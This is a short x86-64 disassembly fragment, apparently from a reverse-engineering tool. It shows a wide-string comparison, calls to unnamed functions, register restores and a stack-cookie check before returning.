repe cmpsw word [rsi], word [rdi]
jne 0x404784
lea rcx, [rbp + 0x100]
lea rdx, [rsp + 0x840]
mov r8d, 0xffffffff
call fcn.00405260
mov rcx, rbx
call fcn.00434660
mov rdi, qword [rsp + 0xc50]
mov rsi, qword [rsp + 0xc58]
mov rbp, qword [rsp + 0xc60]
mov rbx, qword [rsp + 0xc88]
mov rcx, qword [rsp + 0xc40]
xor rcx, rsp
call fcn.00434a90
add rsp, 0xc68
ret